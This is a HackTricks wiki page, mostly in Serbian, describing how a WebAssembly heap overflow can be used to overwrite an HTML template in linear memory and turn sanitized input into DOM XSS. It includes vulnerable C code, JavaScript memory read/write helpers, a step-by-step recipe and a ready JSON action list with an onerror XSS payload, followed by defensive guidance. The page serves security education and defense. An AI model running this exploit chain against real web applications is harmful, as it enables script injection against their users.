mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
134 lines
8.6 KiB
Markdown
134 lines
8.6 KiB
Markdown
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Ova tehnika pokazuje kako bag u korupciji memorije unutar WebAssembly (WASM) modula kompajliranog sa Emscripten može biti iskorišćen za pouzdan DOM XSS čak i kada je unos sanitarisan. Pivot je da se korumpiraju writable konstante u WASM linear memory (npr. HTML format templates) umesto da se napada sanitizovani izvorni string.
|
||
|
||
Ključna ideja: U WebAssembly modelu, kod živi u neupisivim izvršnim stranicama, ali podaci modula (heap/stack/globals/"constants") žive u jedinstvenoj ravnoj linear memory (stranice od 64KB) koja je upisiva od strane modula. Ako buggy C/C++ kod piše van granica, možete prepisati susedne objekte pa čak i konstantne stringove ugrađene u linear memory. Kada se takva konstanta kasnije koristi za izgradnju HTML-a za umetanje preko DOM sink, možete pretvoriti sanitizovani unos u izvršni JavaScript.
|
||
|
||
Model pretnje i preduslovi
|
||
- Web app koristi Emscripten glue (Module.cwrap) da pozove WASM module.
|
||
- Stanje aplikacije živi u WASM linear memory (npr. C structs sa pointerima/lengths ka korisničkim baferima).
|
||
- Sistem za sanitaciju unosa enkodira metakaraktere pre čuvanja, ali kasnije prikazivanje gradi HTML koristeći format string smešten u WASM linear memory.
|
||
- Postoji primitiv za korupciju linear-memory (npr. heap overflow, UAF, ili unchecked memcpy).
|
||
|
||
Minimalni model ranjivih podataka (primer)
|
||
```c
|
||
typedef struct msg {
|
||
char *msg_data; // pointer to message bytes
|
||
size_t msg_data_len; // length after sanitization
|
||
int msg_time; // timestamp
|
||
int msg_status; // flags
|
||
} msg;
|
||
|
||
typedef struct stuff {
|
||
msg *mess; // dynamic array of msg
|
||
size_t size; // used
|
||
size_t capacity; // allocated
|
||
} stuff; // global chat state in linear memory
|
||
```
|
||
Ranljiv obrazac logike
|
||
- addMsg(): alocira novi bafer veličine sanitizovanog ulaza i dodaje msg u s.mess, udvostručujući kapacitet pomoću realloc kada je potrebno.
|
||
- editMsg(): ponovo sanitizuje i kopira nove bajtove u postojeći bafer pomoću memcpy bez provere da je nova dužina ≤ stara alokacija → intra‑linear‑memory heap overflow.
|
||
- populateMsgHTML(): formatira sanitizovani tekst sa ugrađenim stubom kao što je "<article><p>%.*s</p></article>" koji se nalazi u linearnoj memoriji. Vraćeni HTML dospeva u DOM sink (npr. innerHTML).
|
||
|
||
Allocator grooming with realloc()
|
||
```c
|
||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||
if (s->size >= s->capacity) {
|
||
s->capacity *= 2;
|
||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||
if (s->mess == NULL) exit(1);
|
||
}
|
||
s->mess[s->size++] = new_msg;
|
||
return s->size - 1;
|
||
}
|
||
```
|
||
- Pošaljite dovoljno poruka da premaše početni kapacitet. Nakon rasta, realloc() često postavlja s->mess odmah nakon poslednjeg korisničkog bafera u linear memory.
|
||
- Overflow poslednju poruku preko editMsg() da prepišete polja unutar s->mess (npr. overwrite msg_data pointers) → proizvoljna promena pointera u linear memory za podatke koji će kasnije biti renderovani.
|
||
|
||
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
|
||
- Sanitization štiti input, ne sinks. Pronađite format stub koji koristi populateMsgHTML(), npr.:
|
||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||
- Pronađite stub deterministički skeniranjem linear memory; to je plain byte string unutar Module.HEAPU8.
|
||
- Nakon što prepišete stub, sanitizovani sadržaj poruke postaje JavaScript handler za onerror, tako da dodavanje nove poruke sa tekstom kao alert(1337) daje <img src=1 onerror=alert(1337)> i izvršava se odmah u DOM-u.
|
||
|
||
Chrome DevTools workflow (Emscripten glue)
|
||
- Postavite breakpoint na prvi Module.cwrap poziv u JS glue i uđite u wasm call site da biste uhvatili pointer arguments (numeric offsets into linear memory).
|
||
- Koristite typed views kao Module.HEAPU8 za čitanje/pisanje WASM memory iz konzole.
|
||
- Helper snippets:
|
||
```javascript
|
||
function writeBytes(ptr, byteArray){
|
||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||
for(let i=0;i<byteArray.length;i++){
|
||
const byte = byteArray[i];
|
||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||
HEAPU8[ptr+i]=byte;
|
||
}
|
||
}
|
||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||
function readBytesAsChars(ptr,len){
|
||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||
}
|
||
function searchWasmMemory(str){
|
||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||
for(let i=0;i<mem.length-pat.length;i++){
|
||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||
}
|
||
console.log(`"${str}" not found in memory`);
|
||
return -1;
|
||
}
|
||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||
```
|
||
Recept za end-to-end eksploataciju
|
||
1) Groom: dodajte N malih poruka da biste pokrenuli realloc(). Osigurajte da je s->mess pored user buffer-a.
|
||
2) Overflow: pozovite editMsg() na poslednjoj poruci sa dužim payload-om da prepišete unos u s->mess, postavljajući msg_data poruke 0 da pokazuje na (stub_addr + 1). +1 preskače početni '<' kako bi poravnanje taga ostalo netaknuto tokom sledećeg edit-a.
|
||
3) Template rewrite: edit message 0 tako da njegovi bajtovi prepišu template sa: "img src=1 onerror=%.*s ".
|
||
4) Trigger XSS: dodajte novu poruku čiji je sanitized sadržaj JavaScript, npr. alert(1337). Pri renderovanju se emituje <img src=1 onerror=alert(1337)> i izvršava.
|
||
|
||
Primer liste akcija za serijalizaciju i postavljanje u ?s= (Base64-encode with btoa before use)
|
||
```json
|
||
[
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"add","content":"hi","time":1756840476392},
|
||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||
]
|
||
```
|
||
Why this bypass works
|
||
- WASM prevents code execution from linear memory, but constant data inside linear memory is writable if program logic is buggy.
|
||
- Sanitizer štiti samo izvorni string; korumpiranjem sinka (the HTML template), sanitizovani input postaje vrednost JS handler-a i izvršava se kada se ubaci u DOM.
|
||
- Spajne alokacije nastale zbog realloc() plus nekontrolisani memcpy u edit tokovima omogućavaju korupciju pokazivača koja preusmerava upise na adrese po izboru napadača unutar linearne memorije.
|
||
|
||
Generalization and other attack surface
|
||
- Bilo koji in-memory HTML template, JSON skeleton, or URL pattern ugrađen u linearnu memoriju može biti meta za promenu načina na koji se sanitizovani podaci interpretiraju nizvodno.
|
||
- Drugi uobičajeni WASM zamke: out-of-bounds writes/reads u linearnoj memoriji, UAF na heap objektima, function-table misuse sa nekontrolisanim indeksima indirektnih poziva, i JS↔WASM glue mismatches.
|
||
|
||
Defensive guidance
|
||
- U edit tokovima, proverite new length ≤ capacity; resize buffere pre copy (realloc to new_len) ili koristite size-bounded APIs (snprintf/strlcpy) i pratite capacity.
|
||
- Držite immutable templates izvan writable linear memory ili proveravajte njihov integritet pre upotrebe.
|
||
- Smatrajte JS↔WASM granice nepoverljivim: validirajte pointer ranges/lengths, fuzz exported interfaces, i ograničite memory growth.
|
||
- Sanitize at the sink: izbegavajte gradnju HTML u WASM; preferirajte safe DOM APIs umesto innerHTML-style templating.
|
||
- Izbegavajte poveravanje URL-embedded state za privileged flows.
|
||
|
||
## References
|
||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|